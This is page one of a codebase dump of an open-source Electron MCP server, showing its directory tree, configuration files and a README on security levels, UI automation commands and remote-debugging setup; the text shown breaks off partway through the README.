#
tokens: 48945/50000 39/46 files (page 1/2)
lines: on (toggle) GitHub
raw markdown copy reset
This is page 1 of 2. Use http://codebase.md/halilural/electron-mcp-server?lines=true&page={x} to view the full context.

# Directory Structure

```
├── .env.example
├── .gitignore
├── .npmignore
├── .prettierignore
├── .prettierrc
├── assets
│   └── demo.mp4
├── eslint.config.ts
├── ISSUE_TEMPLATE.md
├── LICENSE
├── MCP_USAGE_GUIDE.md
├── mcp-config.json
├── package-lock.json
├── package.json
├── REACT_COMPATIBILITY_ISSUES.md
├── README.md
├── SECURITY_CONFIG.md
├── SECURITY.md
├── src
│   ├── handlers.ts
│   ├── index.ts
│   ├── schemas.ts
│   ├── screenshot.ts
│   ├── security
│   │   ├── audit.ts
│   │   ├── config.ts
│   │   ├── manager.ts
│   │   ├── sandbox.ts
│   │   └── validation.ts
│   ├── tools.ts
│   └── utils
│       ├── electron-commands.ts
│       ├── electron-connection.ts
│       ├── electron-discovery.ts
│       ├── electron-enhanced-commands.ts
│       ├── electron-input-commands.ts
│       ├── electron-logs.ts
│       ├── electron-process.ts
│       ├── logger.ts
│       ├── logs.ts
│       └── project.ts
├── tests
│   ├── conftest.ts
│   ├── integration
│   │   ├── electron-security-integration.test.ts
│   │   └── react-compatibility
│   │       ├── react-test-app.html
│   │       ├── README.md
│   │       └── test-react-electron.cjs
│   ├── support
│   │   ├── config.ts
│   │   ├── helpers.ts
│   │   └── setup.ts
│   └── unit
│       └── security-manager.test.ts
├── tsconfig.json
├── vitest.config.ts
└── webpack.config.ts
```

# Files

--------------------------------------------------------------------------------
/.prettierrc:
--------------------------------------------------------------------------------

```
1 | {
2 |   "semi": true,
3 |   "singleQuote": true,
4 |   "printWidth": 100,
5 |   "tabWidth": 2,
6 |   "trailingComma": "all"
7 | }
8 | 
```

--------------------------------------------------------------------------------
/.prettierignore:
--------------------------------------------------------------------------------

```
 1 | # Dependencies
 2 | node_modules/
 3 | 
 4 | # Build outputs
 5 | dist/
 6 | build/
 7 | 
 8 | # Coverage reports
 9 | coverage/
10 | 
11 | # Logs
12 | *.log
13 | logs/
14 | 
15 | # OS files
16 | .DS_Store
17 | Thumbs.db
18 | 
19 | # IDE files
20 | .vscode/
21 | .idea/
22 | 
23 | # Package manager files
24 | package-lock.json
25 | yarn.lock
26 | pnpm-lock.yaml
27 | 
```

--------------------------------------------------------------------------------
/.npmignore:
--------------------------------------------------------------------------------

```
 1 | # Source files (only publish dist)
 2 | src/
 3 | tsconfig.json
 4 | vitest.config.ts
 5 | 
 6 | # Development files
 7 | .vscode/
 8 | test/
 9 | example-app
10 | example-app-2
11 | tools/
12 | 
13 | # Test and debug files
14 | test-*.js
15 | *-test.js
16 | *-debug.js
17 | 
18 | # CI/CD
19 | .github/
20 | 
21 | # IDE
22 | .idea/
23 | *.swp
24 | *.swo
25 | 
26 | # OS
27 | .DS_Store
28 | Thumbs.db
29 | 
30 | # Logs
31 | *.log
32 | npm-debug.log*
33 | 
34 | # Dependencies
35 | node_modules/
36 | 
37 | # Coverage
38 | coverage/
39 | 
```

--------------------------------------------------------------------------------
/.env.example:
--------------------------------------------------------------------------------

```
 1 | # Electron MCP Server Environment Configuration
 2 | # Copy this file to .env and configure the values for your environment
 3 | 
 4 | # =============================================================================
 5 | # LOGGING CONFIGURATION
 6 | # =============================================================================
 7 | 
 8 | # Set the log level for the MCP server (used in src/utils/logger.ts)
 9 | # Options: DEBUG, INFO, WARN, ERROR
10 | # Default: INFO if not set
11 | MCP_LOG_LEVEL=INFO
12 | 
13 | # =============================================================================
14 | # SECURITY CONFIGURATION (REQUIRED)
15 | # =============================================================================
16 | 
17 | # Security level for the MCP server (used in src/security/config.ts)
18 | # Options: strict, balanced, permissive, development
19 | # Default: balanced if not set
20 | # - strict: Maximum security - blocks most function calls
21 | # - balanced: Default - allows safe UI interactions
22 | # - permissive: Minimal restrictions - allows more operations
23 | # - development: Least restrictive - for development/testing only
24 | SECURITY_LEVEL=balanced
25 | 
26 | # Encryption key for screenshot data (OPTIONAL - fallback available)
27 | # If not set, a temporary key will be generated for each session
28 | # For production use, set this to a secure 32-byte hex string
29 | # Must be at least 32 characters long for security
30 | # Generate a secure key with: openssl rand -hex 32
31 | # WARNING: Without a persistent key, encrypted screenshots cannot be decrypted after restart
32 | SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string-here
33 | 
```

--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------

```
  1 | # Logs
  2 | logs
  3 | *.log
  4 | npm-debug.log*
  5 | yarn-debug.log*
  6 | yarn-error.log*
  7 | lerna-debug.log*
  8 | .pnpm-debug.log*
  9 | 
 10 | # Diagnostic reports (https://nodejs.org/api/report.html)
 11 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
 12 | 
 13 | # Runtime data
 14 | pids
 15 | *.pid
 16 | *.seed
 17 | *.pid.lock
 18 | 
 19 | # Directory for instrumented libs generated by jscoverage/JSCover
 20 | lib-cov
 21 | 
 22 | # Coverage directory used by tools like istanbul
 23 | coverage
 24 | *.lcov
 25 | 
 26 | # nyc test coverage
 27 | .nyc_output
 28 | 
 29 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
 30 | .grunt
 31 | 
 32 | # Bower dependency directory (https://bower.io/)
 33 | bower_components
 34 | 
 35 | # node-waf configuration
 36 | .lock-wscript
 37 | 
 38 | # Compiled binary addons (https://nodejs.org/api/addons.html)
 39 | build/Release
 40 | 
 41 | # Dependency directories
 42 | node_modules/
 43 | jspm_packages/
 44 | 
 45 | # Snowpack dependency directory (https://snowpack.dev/)
 46 | web_modules/
 47 | 
 48 | # TypeScript cache
 49 | *.tsbuildinfo
 50 | 
 51 | # Optional npm cache directory
 52 | .npm
 53 | 
 54 | # Optional eslint cache
 55 | .eslintcache
 56 | 
 57 | # Optional stylelint cache
 58 | .stylelintcache
 59 | 
 60 | # Microbundle cache
 61 | .rpt2_cache/
 62 | .rts2_cache_cjs/
 63 | .rts2_cache_es/
 64 | .rts2_cache_umd/
 65 | 
 66 | # Optional REPL history
 67 | .node_repl_history
 68 | 
 69 | # Output of 'npm pack'
 70 | *.tgz
 71 | 
 72 | # Yarn Integrity file
 73 | .yarn-integrity
 74 | 
 75 | # dotenv environment variable files
 76 | .env
 77 | .env.development.local
 78 | .env.test.local
 79 | .env.production.local
 80 | .env.local
 81 | 
 82 | # parcel-bundler cache (https://parceljs.org/)
 83 | .cache
 84 | .parcel-cache
 85 | 
 86 | # Next.js build output
 87 | .next
 88 | out
 89 | 
 90 | # Nuxt.js build / generate output
 91 | .nuxt
 92 | dist
 93 | 
 94 | # Gatsby files
 95 | .cache/
 96 | # Comment in the public line in if your project uses Gatsby and not Next.js
 97 | # https://nextjs.org/blog/next-9-1#public-directory-support
 98 | # public
 99 | 
100 | # vuepress build output
101 | .vuepress/dist
102 | 
103 | # vuepress v2.x temp and cache directory
104 | .temp
105 | .cache
106 | 
107 | # Docusaurus cache and generated files
108 | .docusaurus
109 | 
110 | # Serverless directories
111 | .serverless/
112 | 
113 | # FuseBox cache
114 | .fusebox/
115 | 
116 | # DynamoDB Local files
117 | .dynamodb/
118 | 
119 | # TernJS port file
120 | .tern-port
121 | 
122 | # Stores VSCode versions used for testing VSCode extensions
123 | .vscode-test
124 | 
125 | # yarn v2
126 | .yarn/cache
127 | .yarn/unplugged
128 | .yarn/build-state.yml
129 | .yarn/install-state.gz
130 | .pnp.*
131 | 
132 | # Build output
133 | dist/
134 | build/
135 | lib/
136 | 
137 | # TypeScript output
138 | *.d.ts
139 | 
140 | # Electron specific
141 | out/
142 | dist_electron/
143 | 
144 | # Testing
145 | test-results/
146 | coverage/
147 | .nyc_output/
148 | test-temp/
149 | temp/
150 | 
151 | # Example App
152 | example-app
153 | example-app-2
154 | 
155 | # IDE
156 | .vscode/
157 | .idea/
158 | *.swp
159 | *.swo
160 | 
161 | # OS
162 | .DS_Store
163 | Thumbs.db
164 | 
```

--------------------------------------------------------------------------------
/tests/integration/react-compatibility/README.md:
--------------------------------------------------------------------------------

```markdown
 1 | # React Compatibility Tests
 2 | 
 3 | This directory contains test files for validating React compatibility with the Electron MCP Server.
 4 | 
 5 | ## Files
 6 | 
 7 | ### `react-test-app.html`
 8 | A comprehensive React test application that demonstrates:
 9 | - Click command compatibility with `preventDefault()` behavior
10 | - Form input detection and filling capabilities  
11 | - Various React event handling patterns
12 | - Multiple input types (text, email, password, number, textarea)
13 | 
14 | ### `test-react-electron.cjs`
15 | Electron wrapper application that:
16 | - Loads the React test app in an Electron window
17 | - Enables remote debugging on port 9222 for MCP server connection
18 | - Provides a controlled test environment
19 | 
20 | ## Usage
21 | 
22 | ### Running the Test App
23 | ```bash
24 | # From the project root
25 | cd tests/integration/react-compatibility
26 | electron test-react-electron.cjs
27 | ```
28 | 
29 | ### Testing with MCP Server
30 | Once the Electron app is running, you can test MCP commands:
31 | 
32 | ```bash
33 | # Test click commands
34 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node ../../../dist/index.js
35 | 
36 | # Test form input filling
37 | echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node ../../../dist/index.js
38 | 
39 | # Get page structure
40 | echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node ../../../dist/index.js
41 | ```
42 | 
43 | ## Test Scenarios
44 | 
45 | ### Issue 1: Click Commands with preventDefault
46 | - **React Button (preventDefault)**: Tests click commands on React components that call `e.preventDefault()`
47 | - **Normal Button**: Tests click commands without preventDefault  
48 | - **Stop Propagation Button**: Tests click commands with `e.stopPropagation()`
49 | 
50 | ### Issue 3: Form Input Detection
51 | - **Username Field**: Text input with label and placeholder
52 | - **Email Field**: Email input type validation
53 | - **Password Field**: Password input type
54 | - **Age Field**: Number input type
55 | - **Comments Field**: Textarea element
56 | 
57 | All form inputs test the scoring algorithm in `electron-input-commands.ts` for React-rendered elements.
58 | 
59 | ## Expected Results
60 | 
61 | ✅ All click commands should work (preventDefault fix applied)  
62 | ✅ All form inputs should be detected and fillable  
63 | ✅ Page structure should show all React-rendered elements  
64 | ✅ No "Click events were cancelled by the page" errors  
65 | ✅ No "No suitable input found" errors
66 | 
```

--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------

```markdown
  1 | # Electron MCP Server
  2 | 
  3 | [![GitHub license](https://img.shields.io/github/license/halilural/electron-mcp-server)](https://github.com/halilural/electron-mcp-server/blob/master/LICENSE)
  4 | [![npm version](https://img.shields.io/npm/v/electron-mcp-server)](https://www.npmjs.com/package/electron-mcp-server)
  5 | [![MCP](https://img.shields.io/badge/MCP-Model%20Context%20Protocol-blue)](https://modelcontextprotocol.io)
  6 | 
  7 | A powerful Model Context Protocol (MCP) server that provides comprehensive Electron application automation, debugging, and observability capabilities. Supercharge your Electron development workflow with AI-powered automation through Chrome DevTools Protocol integration.
  8 | 
  9 | ## Demo
 10 | 
 11 | See the Electron MCP Server in action:
 12 | 
 13 | [![Watch Demo Video](https://vumbnail.com/1104937830.jpg)](https://vimeo.com/1104937830)
 14 | 
 15 | **[🎬 Watch Full Demo on Vimeo](https://vimeo.com/1104937830)**
 16 | 
 17 | *Watch how easy it is to automate Electron applications with AI-powered MCP commands.*
 18 | 
 19 | ## 🎯 What Makes This Special
 20 | 
 21 | Transform your Electron development experience with **AI-powered automation**:
 22 | 
 23 | - **🔄 Real-time UI Automation**: Click buttons, fill forms, and interact with any Electron app programmatically
 24 | - **📸 Visual Debugging**: Take screenshots and capture application state without interrupting development
 25 | - **🔍 Deep Inspection**: Extract DOM elements, application data, and performance metrics in real-time
 26 | - **⚡ DevTools Protocol Integration**: Universal compatibility with any Electron app - no modifications required
 27 | - **🚀 Development Observability**: Monitor logs, system info, and application behavior seamlessly
 28 | 
 29 | ## 🔒 Security & Configuration
 30 | 
 31 | **Configurable security levels** to balance safety with functionality:
 32 | 
 33 | ### Security Levels
 34 | 
 35 | - **🔒 STRICT**: Maximum security for production environments
 36 | - **⚖️ BALANCED**: Default security with safe UI interactions (recommended)
 37 | - **🔓 PERMISSIVE**: More functionality for trusted environments
 38 | - **🛠️ DEVELOPMENT**: Minimal restrictions for development/testing
 39 | 
 40 | ### Environment Configuration
 41 | 
 42 | Configure the security level and other settings through your MCP client configuration:
 43 | 
 44 | **VS Code MCP Settings:**
 45 | ```json
 46 | {
 47 |   "mcp": {
 48 |     "servers": {
 49 |       "electron": {
 50 |         "command": "npx",
 51 |         "args": ["-y", "electron-mcp-server"],
 52 |         "env": {
 53 |           "SECURITY_LEVEL": "balanced",
 54 |           "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string"
 55 |         }
 56 |       }
 57 |     }
 58 |   }
 59 | }
 60 | ```
 61 | 
 62 | **Claude Desktop Configuration:**
 63 | ```json
 64 | {
 65 |   "mcpServers": {
 66 |     "electron": {
 67 |       "command": "npx",
 68 |       "args": ["-y", "electron-mcp-server"],
 69 |       "env": {
 70 |         "SECURITY_LEVEL": "balanced",
 71 |         "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string"
 72 |       }
 73 |     }
 74 |   }
 75 | }
 76 | ```
 77 | 
 78 | **Alternative: Local .env file (for development):**
 79 | ```bash
 80 | # Create .env file in your project directory
 81 | SECURITY_LEVEL=balanced
 82 | SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string
 83 | ```
 84 | 
 85 | **Security Level Behaviors:**
 86 | 
 87 | | Level | UI Interactions | DOM Queries | Property Access | Assignments | Function Calls | Risk Threshold |
 88 | |-------|-----------------|-------------|-----------------|-------------|----------------|----------------|
 89 | | `strict` | ❌ Blocked | ❌ Blocked | ✅ Allowed | ❌ Blocked | ❌ None allowed | Low |
 90 | | `balanced` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ❌ Blocked | ✅ Safe UI functions | Medium |
 91 | | `permissive` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Extended UI functions | High |
 92 | | `development` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ All functions | Critical |
 93 | 
 94 | **Environment Setup:**
 95 | 
 96 | 1. Copy `.env.example` to `.env`
 97 | 2. Set `SECURITY_LEVEL` to your desired level
 98 | 3. Configure other security settings as needed
 99 | 
100 | ```bash
101 | cp .env.example .env
102 | # Edit .env and set SECURITY_LEVEL=balanced
103 | ```
104 | 
105 | ### Secure UI Interaction Commands
106 | 
107 | Instead of raw JavaScript eval, use these secure commands:
108 | 
109 | ```javascript
110 | // ✅ Secure button clicking
111 | {
112 |   "command": "click_by_text",
113 |   "args": { "text": "Create New Encyclopedia" }
114 | }
115 | 
116 | // ✅ Secure element selection
117 | {
118 |   "command": "click_by_selector",
119 |   "args": { "selector": "button[title='Create']" }
120 | }
121 | 
122 | // ✅ Secure keyboard shortcuts
123 | {
124 |   "command": "send_keyboard_shortcut",
125 |   "args": { "text": "Ctrl+N" }
126 | }
127 | 
128 | // ✅ Secure navigation
129 | {
130 |   "command": "navigate_to_hash",
131 |   "args": { "text": "create" }
132 | }
133 | ```
134 | 
135 | See [SECURITY_CONFIG.md](./SECURITY_CONFIG.md) for detailed security documentation.
136 | 
137 | ## 🎯 Proper MCP Usage Guide
138 | 
139 | ### ⚠️ Critical: Argument Structure
140 | 
141 | **The most common mistake** when using this MCP server is incorrect argument structure for the `send_command_to_electron` tool.
142 | 
143 | #### ❌ Wrong (causes "selector is empty" errors):
144 | 
145 | ```javascript
146 | {
147 |   "command": "click_by_selector",
148 |   "args": "button.submit-btn"  // ❌ Raw string - WRONG!
149 | }
150 | ```
151 | 
152 | #### ✅ Correct:
153 | 
154 | ```javascript
155 | {
156 |   "command": "click_by_selector",
157 |   "args": {
158 |     "selector": "button.submit-btn"  // ✅ Object with selector property
159 |   }
160 | }
161 | ```
162 | 
163 | ### 📋 Command Argument Reference
164 | 
165 | | Command                                 | Required Args                                                                       | Example                                          |
166 | | --------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------ |
167 | | `click_by_selector`                     | `{"selector": "css-selector"}`                                                      | `{"selector": "button.primary"}`                 |
168 | | `click_by_text`                         | `{"text": "button text"}`                                                           | `{"text": "Submit"}`                             |
169 | | `fill_input`                            | `{"value": "text", "selector": "..."}` or `{"value": "text", "placeholder": "..."}` | `{"placeholder": "Enter name", "value": "John"}` |
170 | | `send_keyboard_shortcut`                | `{"text": "key combination"}`                                                       | `{"text": "Ctrl+N"}`                             |
171 | | `eval`                                  | `{"code": "javascript"}`                                                            | `{"code": "document.title"}`                     |
172 | | `get_title`, `get_url`, `get_body_text` | No args needed                                                                      | `{}` or omit args                                |
173 | 
174 | ### 🔄 Recommended Workflow
175 | 
176 | 1. **Inspect**: Start with `get_page_structure` or `debug_elements`
177 | 2. **Target**: Use specific selectors or text-based targeting
178 | 3. **Interact**: Use the appropriate command with correct argument structure
179 | 4. **Verify**: Take screenshots or check page state
180 | 
181 | ```javascript
182 | // Step 1: Understand the page
183 | {
184 |   "command": "get_page_structure"
185 | }
186 | 
187 | // Step 2: Click button using text (most reliable)
188 | {
189 |   "command": "click_by_text",
190 |   "args": {
191 |     "text": "Create New Encyclopedia"
192 |   }
193 | }
194 | 
195 | // Step 3: Fill form field
196 | {
197 |   "command": "fill_input",
198 |   "args": {
199 |     "placeholder": "Enter encyclopedia name",
200 |     "value": "AI and Machine Learning"
201 |   }
202 | }
203 | 
204 | // Step 4: Submit with selector
205 | {
206 |   "command": "click_by_selector",
207 |   "args": {
208 |     "selector": "button[type='submit']"
209 |   }
210 | }
211 | ```
212 | 
213 | ### 🐛 Troubleshooting Common Issues
214 | 
215 | | Error                            | Cause                            | Solution                       |
216 | | -------------------------------- | -------------------------------- | ------------------------------ |
217 | | "The provided selector is empty" | Passing string instead of object | Use `{"selector": "..."}`      |
218 | | "Element not found"              | Wrong selector                   | Use `get_page_structure` first |
219 | | "Command blocked"                | Security restriction             | Check security level settings  |
220 | | "Click prevented - too soon"     | Rapid consecutive clicks         | Wait before retrying           |
221 | 
222 | ## 🛠️ Security Features
223 | 
224 | **Enterprise-grade security** built for safe AI-powered automation:
225 | 
226 | - **🔒 Sandboxed Execution**: All code runs in isolated environments with strict resource limits
227 | - **🔍 Input Validation**: Advanced static analysis detects and blocks dangerous code patterns
228 | - **📝 Comprehensive Auditing**: Encrypted logs track all operations with full traceability
229 | - **🖼️ Secure Screenshots**: Encrypted screenshot data with clear user notifications
230 | - **⚠️ Risk Assessment**: Automatic threat detection with configurable security thresholds
231 | - **🚫 Zero Trust**: Dangerous functions like `eval`, file system access, and network requests are blocked by default
232 | 
233 | > **Safety First**: Every command is analyzed, validated, and executed in a secure sandbox before reaching your application.
234 | 
235 | ## �🚀 Key Features
236 | 
237 | ### 🎮 Application Control & Automation
238 | 
239 | - **Launch & Manage**: Start, stop, and monitor Electron applications with full lifecycle control
240 | - **Interactive Automation**: Execute JavaScript code directly in running applications via WebSocket
241 | - **UI Testing**: Automate button clicks, form interactions, and user workflows
242 | - **Process Management**: Track PIDs, monitor resource usage, and handle graceful shutdowns
243 | 
244 | ### 📊 Advanced Observability
245 | 
246 | - **Screenshot Capture**: Non-intrusive visual snapshots using Playwright and Chrome DevTools Protocol
247 | - **Real-time Logs**: Stream application logs (main process, renderer, console) with filtering
248 | - **Window Information**: Get detailed window metadata, titles, URLs, and target information
249 | - **System Monitoring**: Track memory usage, uptime, and performance metrics
250 | 
251 | ### 🛠️ Development Productivity
252 | 
253 | - **Universal Compatibility**: Works with any Electron app without requiring code modifications
254 | - **DevTools Integration**: Leverage Chrome DevTools Protocol for powerful debugging capabilities
255 | - **Build Automation**: Cross-platform building for Windows, macOS, and Linux
256 | - **Environment Management**: Clean environment handling and debugging port configuration
257 | 
258 | ## 📦 Installation
259 | 
260 | ### VS Code Integration (Recommended)
261 | 
262 | [![Install with NPX in VS Code](https://img.shields.io/badge/VS_Code-Install_MCP-0098FF?style=flat-square&logo=visualstudiocode&logoColor=white)](https://insiders.vscode.dev/redirect/mcp/install?name=electron&config=%7B%22command%22%3A%22npx%22%2C%22args%22%3A%5B%22-y%22%2C%22electron-mcp-server%22%5D%7D)
263 | 
264 | Add to your VS Code MCP settings:
265 | 
266 | ```json
267 | {
268 |   "mcp": {
269 |     "servers": {
270 |       "electron": {
271 |         "command": "npx",
272 |         "args": ["-y", "electron-mcp-server"],
273 |         "env": {
274 |           "SECURITY_LEVEL": "balanced",
275 |           "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here"
276 |         }
277 |       }
278 |     }
279 |   }
280 | }
281 | ```
282 | 
283 | ### Claude Desktop Integration
284 | 
285 | Add to `~/Library/Application Support/Claude/claude_desktop_config.json`:
286 | 
287 | ```json
288 | {
289 |   "mcpServers": {
290 |     "electron": {
291 |       "command": "npx",
292 |       "args": ["-y", "electron-mcp-server"],
293 |       "env": {
294 |         "SECURITY_LEVEL": "balanced",
295 |         "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here"
296 |       }
297 |     }
298 |   }
299 | }
300 | ```
301 | 
302 | ### Global Installation
303 | 
304 | ```bash
305 | npm install -g electron-mcp-server
306 | ```
307 | 
308 | ## 🔧 Available Tools
309 | 
310 | ### `launch_electron_app`
311 | 
312 | Launch an Electron application with debugging capabilities.
313 | 
314 | ```javascript
315 | {
316 |   "appPath": "/path/to/electron-app",
317 |   "devMode": true,  // Enables Chrome DevTools Protocol on port 9222
318 |   "args": ["--enable-logging", "--dev"]
319 | }
320 | ```
321 | 
322 | **Returns**: Process ID and launch confirmation
323 | 
324 | ### `get_electron_window_info`
325 | 
326 | Get comprehensive window and target information via Chrome DevTools Protocol.
327 | 
328 | ```javascript
329 | {
330 |   "includeChildren": true  // Include child windows and DevTools instances
331 | }
332 | ```
333 | 
334 | **Returns**:
335 | 
336 | - Window IDs, titles, URLs, and types
337 | - DevTools Protocol target information
338 | - Platform details and process information
339 | 
340 | ### `take_screenshot`
341 | 
342 | Capture high-quality screenshots using Playwright and Chrome DevTools Protocol.
343 | 
344 | ```javascript
345 | {
346 |   "outputPath": "/path/to/screenshot.png",  // Optional: defaults to temp directory
347 |   "windowTitle": "My App"  // Optional: target specific window
348 | }
349 | ```
350 | 
351 | **Features**:
352 | 
353 | - Non-intrusive capture (doesn't bring window to front)
354 | - Works with any Electron app
355 | - Fallback to platform-specific tools if needed
356 | 
357 | ### `send_command_to_electron`
358 | 
359 | Execute JavaScript commands in the running Electron application via WebSocket.
360 | 
361 | ```javascript
362 | {
363 |   "command": "eval",  // Built-in commands: eval, get_title, get_url, click_button, console_log
364 |   "args": {
365 |     "code": "document.querySelector('button').click(); 'Button clicked!'"
366 |   }
367 | }
368 | ```
369 | 
370 | **Enhanced UI Interaction Commands**:
371 | 
372 | - `find_elements`: Analyze all interactive UI elements with their properties and positions
373 | - `click_by_text`: Click elements by their visible text, aria-label, or title (more reliable than selectors)
374 | - `fill_input`: Fill input fields by selector, placeholder text, or associated label text
375 | - `select_option`: Select dropdown options by value or visible text
376 | - `get_page_structure`: Get organized overview of all page elements (buttons, inputs, selects, links)
377 | - `get_title`: Get document title
378 | - `get_url`: Get current URL
379 | - `get_body_text`: Extract visible text content
380 | - `click_button`: Click buttons by CSS selector (basic method)
381 | - `console_log`: Send console messages
382 | - `eval`: Execute custom JavaScript code
383 | 
384 | **Recommended workflow**: Use `get_page_structure` first to understand available elements, then use specific interaction commands like `click_by_text` or `fill_input`.
385 | 
386 | ### `read_electron_logs`
387 | 
388 | Stream application logs from main process, renderer, and console.
389 | 
390 | ```javascript
391 | {
392 |   "logType": "all",  // Options: "all", "main", "renderer", "console"
393 |   "lines": 50,       // Number of recent lines
394 |   "follow": false    // Stream live logs
395 | }
396 | ```
397 | 
398 | ### `close_electron_app`
399 | 
400 | Gracefully close the Electron application.
401 | 
402 | ```javascript
403 | {
404 |   "force": false  // Force kill if unresponsive
405 | }
406 | ```
407 | 
408 | ### `build_electron_app`
409 | 
410 | Build Electron applications for distribution.
411 | 
412 | ```javascript
413 | {
414 |   "projectPath": "/path/to/project",
415 |   "platform": "darwin",  // win32, darwin, linux
416 |   "arch": "x64",         // x64, arm64, ia32
417 |   "debug": false
418 | }
419 | ```
420 | 
421 | ## 💡 Usage Examples
422 | 
423 | ### Smart UI Interaction Workflow
424 | 
425 | ```javascript
426 | // 1. First, understand the page structure
427 | await send_command_to_electron({
428 |   command: 'get_page_structure',
429 | });
430 | 
431 | // 2. Click a button by its text (much more reliable than selectors)
432 | await send_command_to_electron({
433 |   command: 'click_by_text',
434 |   args: {
435 |     text: 'Login', // Finds buttons containing "Login" in text, aria-label, or title
436 |   },
437 | });
438 | 
439 | // 3. Fill inputs by their label or placeholder text
440 | await send_command_to_electron({
441 |   command: 'fill_input',
442 |   args: {
443 |     text: 'username', // Finds input with label "Username" or placeholder "Enter username"
444 |     value: '[email protected]',
445 |   },
446 | });
447 | 
448 | await send_command_to_electron({
449 |   command: 'fill_input',
450 |   args: {
451 |     text: 'password',
452 |     value: 'secretpassword',
453 |   },
454 | });
455 | 
456 | // 4. Select dropdown options by visible text
457 | await send_command_to_electron({
458 |   command: 'select_option',
459 |   args: {
460 |     text: 'country', // Finds select with label containing "country"
461 |     value: 'United States', // Selects option with this text
462 |   },
463 | });
464 | 
465 | // 5. Take a screenshot to verify the result
466 | await take_screenshot();
467 | ```
468 | 
469 | ### Advanced Element Detection
470 | 
471 | ```javascript
472 | // Find all interactive elements with detailed information
473 | await send_command_to_electron({
474 |   command: 'find_elements',
475 | });
476 | 
477 | // This returns detailed info about every clickable element and input:
478 | // {
479 | //   "type": "clickable",
480 | //   "text": "Submit Form",
481 | //   "id": "submit-btn",
482 | //   "className": "btn btn-primary",
483 | //   "ariaLabel": "Submit the registration form",
484 | //   "position": { "x": 100, "y": 200, "width": 120, "height": 40 },
485 | //   "visible": true
486 | // }
487 | ```
488 | 
489 | ### Automated UI Testing
490 | 
491 | ```javascript
492 | // Launch app in development mode
493 | await launch_electron_app({
494 |   appPath: '/path/to/app',
495 |   devMode: true,
496 | });
497 | 
498 | // Take a screenshot
499 | await take_screenshot();
500 | 
501 | // Click a button programmatically
502 | await send_command_to_electron({
503 |   command: 'eval',
504 |   args: {
505 |     code: "document.querySelector('#submit-btn').click()",
506 |   },
507 | });
508 | 
509 | // Verify the result
510 | await send_command_to_electron({
511 |   command: 'get_title',
512 | });
513 | ```
514 | 
515 | ### Development Debugging
516 | 
517 | ```javascript
518 | // Get window information
519 | const windowInfo = await get_electron_window_info();
520 | 
521 | // Extract application data
522 | await send_command_to_electron({
523 |   command: 'eval',
524 |   args: {
525 |     code: 'JSON.stringify(window.appState, null, 2)',
526 |   },
527 | });
528 | 
529 | // Monitor logs
530 | await read_electron_logs({
531 |   logType: 'all',
532 |   lines: 100,
533 | });
534 | ```
535 | 
536 | ### Performance Monitoring
537 | 
538 | ```javascript
539 | // Get system information
540 | await send_command_to_electron({
541 |   command: 'eval',
542 |   args: {
543 |     code: '({memory: performance.memory, timing: performance.timing})',
544 |   },
545 | });
546 | 
547 | // Take periodic screenshots for visual regression testing
548 | await take_screenshot({
549 |   outputPath: '/tests/screenshots/current.png',
550 | });
551 | ```
552 | 
553 | ## 🏗️ Architecture
554 | 
555 | ### Chrome DevTools Protocol Integration
556 | 
557 | - **Universal Compatibility**: Works with any Electron app that has remote debugging enabled
558 | - **Real-time Communication**: WebSocket-based command execution with the renderer process
559 | - **No App Modifications**: Zero changes required to target applications
560 | 
561 | ### Process Management
562 | 
563 | - **Clean Environment**: Handles `ELECTRON_RUN_AS_NODE` and other environment variables
564 | - **Resource Tracking**: Monitors PIDs, memory usage, and application lifecycle
565 | - **Graceful Shutdown**: Proper cleanup and process termination
566 | 
567 | ### Cross-Platform Support
568 | 
569 | - **macOS**: Uses Playwright CDP with screencapture fallback
570 | - **Windows**: PowerShell-based window detection and capture
571 | - **Linux**: X11 window management (planned)
572 | 
573 | ## 🧪 Development
574 | 
575 | ### Prerequisites
576 | 
577 | - Node.js 18+
578 | - TypeScript 4.5+
579 | - **Electron** - Required for running and testing Electron applications
580 | 
581 |   ```bash
582 |   # Install Electron globally (recommended)
583 |   npm install -g electron
584 | 
585 |   # Or install locally in your project
586 |   npm install electron --save-dev
587 |   ```
588 | 
589 | ### Target Application Setup
590 | 
591 | For the MCP server to work with your Electron application, you need to enable remote debugging. Add this code to your Electron app's main process:
592 | 
593 | ```javascript
594 | const { app } = require('electron');
595 | const isDev = process.env.NODE_ENV === 'development' || process.argv.includes('--dev');
596 | 
597 | // Enable remote debugging in development mode
598 | if (isDev) {
599 |   app.commandLine.appendSwitch('remote-debugging-port', '9222');
600 | }
601 | ```
602 | 
603 | **Alternative approaches:**
604 | 
605 | ```bash
606 | # Launch your app with debugging enabled
607 | electron . --remote-debugging-port=9222
608 | 
609 | # Or via npm script
610 | npm run dev -- --remote-debugging-port=9222
611 | ```
612 | 
613 | **Note:** The MCP server automatically scans ports 9222-9225 to detect running Electron applications with remote debugging enabled.
614 | 
615 | ### Setup
616 | 
617 | ```bash
618 | git clone https://github.com/halilural/electron-mcp-server.git
619 | cd electron-mcp-server
620 | 
621 | npm install
622 | npm run build
623 | 
624 | # Run tests
625 | npm test
626 | 
627 | # Development mode with auto-rebuild
628 | npm run dev
629 | ```
630 | 
631 | ### Testing
632 | 
633 | The project includes comprehensive test files for React compatibility:
634 | 
635 | ```bash
636 | # Run React compatibility tests
